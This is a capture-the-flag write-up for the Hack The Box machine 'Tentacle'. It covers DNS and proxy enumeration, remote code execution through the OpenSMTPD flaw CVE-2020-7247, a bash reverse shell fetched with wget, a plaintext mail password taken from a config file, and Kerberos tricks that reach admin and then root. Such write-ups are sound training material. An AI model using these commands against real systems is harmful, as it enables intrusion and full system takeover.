Preface: Tentacle is a hard box on With an basic nmap scan we discover some open ports. But the interesting one’s are port 53, DNS and port 3128, http-proxy. While access the port 3128 on the browser we will find another IP address. Which we will use in combination with proxychains. With the configured proxychains we are able to enumerate further. With more DNS enumeration we find more vhosts and another subnet. There we will find a machine which is vulnerable to an CVE and we can use this to gain the foothold. On the foothold machine we found some credentials. With this credentials we are able to login with kerberos to the box. Once on the box we have to exploit the second user and from there on we are able to use the .keytab file to gain root access. Hack the box infocard tentacle

Information gathering

As always we start with an nmap scan for open ports and services:

$ nmap -sC -sV -oN nmap/tentacle.nmap
22/tcp   open   ssh          OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 8d:dd:18:10:e5:7b:b0:da:a3:fa:14:37:a7:52:7a:9c (RSA)
|   256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_  256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp   open   domain       ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid: 
|_  bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp   open   kerberos-sec MIT Kerberos (server time: 2021-01-23 19:27:07Z)
3128/tcp open   http-proxy   Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved
9090/tcp closed zeus-admin
Service Info: Host: REALCORP.HTB; OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:8

We got a bunch of open ports. But the most interesting one’s for us are port 88, kerberos, port 53, DNS and port 3128, http-proxy. First let’s take a look on the http-proxy port in the browser.

Tentacle proxy error page

There is a error page with the mail of the cache admin: j.nakazawa@realcorp.htb. Let us note the mail because maybe this could be a potential username. In the bottom of the page there is also a subdomain leaked: srv01.realcorp.htb. This subdomain indicates that there could be more. So we should take a closer look on the port 53, DNS.

DNS enumeration

Maybe we can gain more subdomains. I will try it with gobuster in the dns mode. We will use realcorp.htb as domain which we got from the error page before. I will use a wordlist from SecList because I always got some pretty good results with them.

$ gobuster dns -d realcorp.htb -r -i -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Domain:     realcorp.htb
[+] Threads:    10
[+] Resolver:
[+] Show IPs:   true
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
2021/03/14 21:35:41 Starting gobuster in DNS enumeration mode
Found: ns.realcorp.htb []
Found: proxy.realcorp.htb []
Found: wpad.realcorp.htb [] 
2021/03/14 21:44:01 Finished

Yes! We got some further subdomains and more IP’s. There is a lot more stuff to enumerate. But first let us note these subdomais and IP’s. Now let’s see how we can access this subdomains. In our initial nmap scan we discovered the port 3128, http-proxy. I would guess we have to configure a proxy or maybe a proxychain.

After some try and error I found the correct configuration (It took me a while …). We need a proxychain. The following snippet is from my /etc/proxychains.conf file:

# HTB: tentacle
http      3128
http            3128
http    3128

WPAD: Web Proxy Auto-Discovery Protocol

Now we can access the subdomains. I did not know for what wpad stands for. So I have done some research for it. This is what I found: WPAD is a method for clients to locate the URL of a configuration file. The file is used to determine which URL should be used for the proxy. So it could contain some useful URL’s for us.

The default file should be located at /wpad.dat. Let’s see if there is one:

$ proxychains -q wget wpad.realcorp.htb/wpad.dat
--2021-03-14 21:57:59--  http://wpad.realcorp.htb/wpad.dat
Auflösen des Hostnamens wpad.realcorp.htb (wpad.realcorp.htb)…
Verbindungsaufbau zu wpad.realcorp.htb (wpad.realcorp.htb)||:80 … [proxychains] Strict chain  ...  ...  ...  ...  wpad.realcorp.htb:80  ...  OK
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 342 [application/octet-stream]
Wird in »wpad.dat« gespeichert.

wpad.dat                                          100%[==========================================================================================================>]     342  --.-KB/s    in 0s      
2021-03-14 21:57:59 (10,4 MB/s) - »wpad.dat« gespeichert [342/342]

There is the default file. Next take a look what the file can reveal to us:

$ cat wpad.dat
function FindProxyForURL(url, host) {
    if (dnsDomainIs(host, "realcorp.htb"))
        return "DIRECT";
    if (isInNet(dnsResolve(host), "", ""))
        return "DIRECT"; 
    if (isInNet(dnsResolve(host), "", ""))
        return "DIRECT"; 
    return "PROXY proxy.realcorp.htb:3128";

We did not get further URLs but a new subnet. First we update our notes. I’m curious what the subnet will expose to us.


Next we discover with nmap which hosts are up on the new subnet.

$ proxychains sudo nmap -sT -Pn
Starting Nmap 7.91 ( ) at 2021-03-15 06:21 CET
Nmap scan report for
Host is up (2.9s latency).
Nmap done: 256 IP addresses (1 hosts up) scanned in 177 seconds

We found just one running host with the IP! Let’s scan it with version detection.

$ proxychains -q nmap -sT -sV -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( ) at 2021-03-15 06:27 CET
Nmap scan report for
Host is up (0.17s latency).
Not shown: 999 closed ports
25/tcp open  smtp    OpenSMTPD
Service Info: Host: smtp.realcorp.htb

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 183.01 seconds

There is only the port 25, OpenSMTPD open. Like always let’s see if we can find something with searchsploit.

$ searchsploit opensmtpd
 Exploit Title                                                                                                                                          |  Path
OpenSMTPD 6.6.2 - Remote Code Execution                                                                                      | linux/remote/
Shellcodes: No Results
Papers: No Results

Indeed, there is one interesting vulnerability. The CVE-2020-7247 which provide us the possibility to execute remote code.


This vulnerability allows us to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the “uncommented” default configuration. The issue exists because of an incorrect return value upon failure of input validation.

First we mirror the exploit via searchsploit.

$ searchsploit -m linux/remote/
  Exploit: OpenSMTPD 6.6.2 - Remote Code Execution
     Path: /usr/share/exploitdb/exploits/linux/remote/
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /home/qwertty/htb/boxes/tentacle/

The info comment of the exploit tells us how we can use it. python3 47984.px 25 'touch /tmp/x'. So the first two parameter are the IP and the Port of our box. The third one is our arbitrary command. After some try and error I figured out that we have to make a little modification on the exploit.

# ......
print('[*] Payload sent')
s.send(b'RCPT TO:<j.nakazawa@realcorp.htb>\r\n') # changed from <root> to <j.nakazawa@realcorp.htb>
print('[*] Done')
# ......

I proved the remote code execution in ping my own box. After some enumeration I figured out that we can use wget on the box. We will use this possibility to transfer a simple one-line reverse shell. The second step is to call the script and let the box connect to us.

First I created a reverse shell like the following:

$ cat 
bash -i >& /dev/tcp/ 0>&1

Our next step is to create a http server with python. This time we have to use the port 80 on our local machine. Higher ports get filtered by the target box.

$ sudo python3 -m http.server 80

Don’t forget our nc listener.

$ nc -lvnp 4444
listening on [any] 4444 ...

Now we execute the first step of our exploit. Transfer our reverse shell to the box. At first I struggled with my wget command. Till I realized that the protocol http:// breaks the exploit. So don’t specifiy the protocol. Just using the IP.

$ proxychains -q python3 25 'wget -O /tmp/'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

On our http.server we can see the GET request from the target box.

$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [15/Mar/2021 06:42:42] "GET / HTTP/1.1" 200 -

Now let’s trigger the script and gain a reverse shell.

$ proxychains -q python3 25 'bash /tmp/'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

It’s time to check our nc listener.

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 49636
bash: cannot set terminal process group (52): Inappropriate ioctl for device
bash: no job control in this shell
root@smtp:~# whoami && hostname
whoami && hostname

Yes! We got root access on the smtp box.

SHELL: root@smtp


On the smtp box as root we have to enumerate further. I always gather some basic information manually. And I found something unusual. In the home directory of j.nakazawa is a configuration file of msmtp. The .msmtprc file.

root@smtp:/home/j.nakazawa# cat .msmtprc
# Set default values for all following accounts.
auth           on
tls            on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /dev/null

# RealCorp Mail
account        realcorp
port           587
from           j.nakazawa@realcorp.htb
user           j.nakazawa
password       sJB}RM>6Z~64_
tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60

# Set a default account
account default : realcorp

There is a password of j.nakazawa. Let’s see how we can take leverage off it. Sadly we can’t use the credentials to ssh directly into the “main” box.

On our initial nmap scan we discovered the port 88, kerberos. Maybe we have to create a ticket with the credentials and use it to login via ssh?

Install kerberos

First I have to install kerberos on my local machine. $ sudo apt-get install krb5-user

Then add the hostname realcorp.htb to my /etc/hosts file.

# ......    realcorp.htb
# ......

With the help of this link I was able to configure my kerberos properly. I had a bit trouble but after some time I got a working /etc/krb5.conf file.

$ cat /etc/krb5.conf
    default_realm = REALCORP.HTB

        kdc = REALCORP.HTB
        admin_server = REALCORP.HTB

    .realcorp.htb = REALCORP.HTB

Now we are able to use kinit to create a valid ticket for us.

$ kinit j.nakazawa
Passwort für j.nakazawa@REALCORP.HTB:

Without errors, great! Now check if there is a ticket with klist.

$ klist
Ticketzwischenspeicher: FILE:/tmp/krb5cc_998
Standard-Principal: j.nakazawa@REALCORP.HTB

Valid starting       Expires              Service principal
15.03.2021 07:48:46  16.03.2021 07:38:42  krbtgt/REALCORP.HTB@REALCORP.HTB

Yes, we got one. Now it is time to ssh into the box with the ticket. Before we give it a try, we have to ensure that GSSAPI support is enabled. On Debian based systems the openssh-server package includes it.

Let’s take a look into the /etc/ssh/sshd_config file.

# ......
GSSAPIAuthentication yes
GSSAPIKeyExchange yes
GSSAPICleanupCredentials yes
# ......

Looks good. So now it is time for ssh.

$ ssh -o GSSAPIServerIdentity=SRV01.REALCORP.HTB j.nakazawa@REALCORP.HTB
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Sun Mar 14 10:57:34 GMT 2021 from on ssh:notty
There were 3 failed login attempts since the last successful login.
Last login: Thu Dec 24 06:02:06 2020 from
[j.nakazawa@srv01 ~]$ whoami && hostname

Yes! We got a shell as j.nakazawa.

SHELL: j.nakazawa


First start with on the box. One of the oddest things catched my attention. The file which is in my $PATH.

# ......
[+] .sh files in path                                                                             
# ......

Escalate to admin

Let’s see what it does:

$ cat /usr/local/bin/ 

/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/
cd /home/admin
/usr/bin/tar czf squid_logs.tar.gz.`/usr/bin/date +%F-%H%M%S` access.log cache.log
/usr/bin/rm -f access.log cache.log

This shell script copies everything from the /var/log/squid/ directory into the /home/admin/ directory. So let’s think about it. We are logged in with an kerberos ticket. Maybe we can use it to gain access as the admin user?

A quick google search shows that there can be a optional .k5login file in a user’s home directory. Every kerberos principals which is listed in that file is able to login with the UID of the user in whose home directory the file resides. Here is a link which describes it in more detail.

Now we create a .k5login file in the /var/log/squid/ folder with the following command:

[j.nakazawa@srv01 squid]$ pwd
[j.nakazawa@srv01 squid]$ echo "j.nakazawa@REALCORP.HTB" > .k5login

We have to wait 1-2 minutes. Then we are able to login with our previous generated kerberos ticket as the user admin.

$ ssh  -o GSSAPIServerIdentity=SRV01.REALCORP.HTB admin@REALCORP.HTB
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Mon Mar 15 18:56:02 2021
[admin@srv01 ~]$ whoami && hostname

Yes! We got a shell as the admin user.

SHELL: admin

Gain root access

Again, run in context of the admin user. We will find the krb5.keytab file which is readable by us.

# ......
[+] Readable files belonging to root and readable by me but not world readable
-rw-r-----. 1 root squid 3236 21. Dez 08:09 /etc/squid/squid.conf
-rw-r-----. 1 root admin 1403 19. Dez 06:10 /etc/krb5.keytab
# ......

I think we should take a look into it.

[admin@srv01 qty]$ klist -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 host/srv01.realcorp.htb@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/changepw@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB
   2 kadmin/admin@REALCORP.HTB

A krb5.keytab file is an necessary file for kerberos. It is encrypted, local, on-disk copy of the host’s keys. The keytab file, is a potential point-of-entry for a break-in. If compromised, would allow unrestricted access to its host. Sound’s pretty nice, right?!

We should try to add a principal as root with an password of our choice. So we can use kadmin for it with a bunch of options (documentation can be found here):

[admin@srv01 qty]$ kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB
Couldn't open log file /var/log/kadmind.log: Permission denied
Authentifizierung als Principal kadmin/admin@REALCORP.HTB mit Schlüsseltabelle /etc/krb5.keytab
kadmin:  add_principal root@REALCORP.HTB
Für root@REALCORP.HTB wurde keine Richtlinie angegeben, es wird die Vorgabe »keine
Richtlinie« verwandt.
Geben Sie das Passwort für Principal »root@REALCORP.HTB« ein.: qwertty
Geben Sie das Passwort für Principal »root@REALCORP.HTB« erneut ein.: qwertty
Principal "root@REALCORP.HTB" created.
kadmin:  exit
[admin@srv01 qty]$ ksu root
WARNING: Your password may be exposed if you enter it here and are logged 
         in remotely using an unsecure (non-encrypted) channel. 
Kerberos password for root@REALCORP.HTB: : qwertty
Authenticated root@REALCORP.HTB
Account root: authorization for root@REALCORP.HTB successful
Changing uid to root (0)
[root@srv01 qty]# whoami && hostname
[root@srv01 qty]# id
uid=0(root) gid=0(root) Gruppen=0(root) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@srv01 qty]# 

Awesome! We gain a shell as root.

SHELL: root

Thanks for reading! I hope you enjoyed it!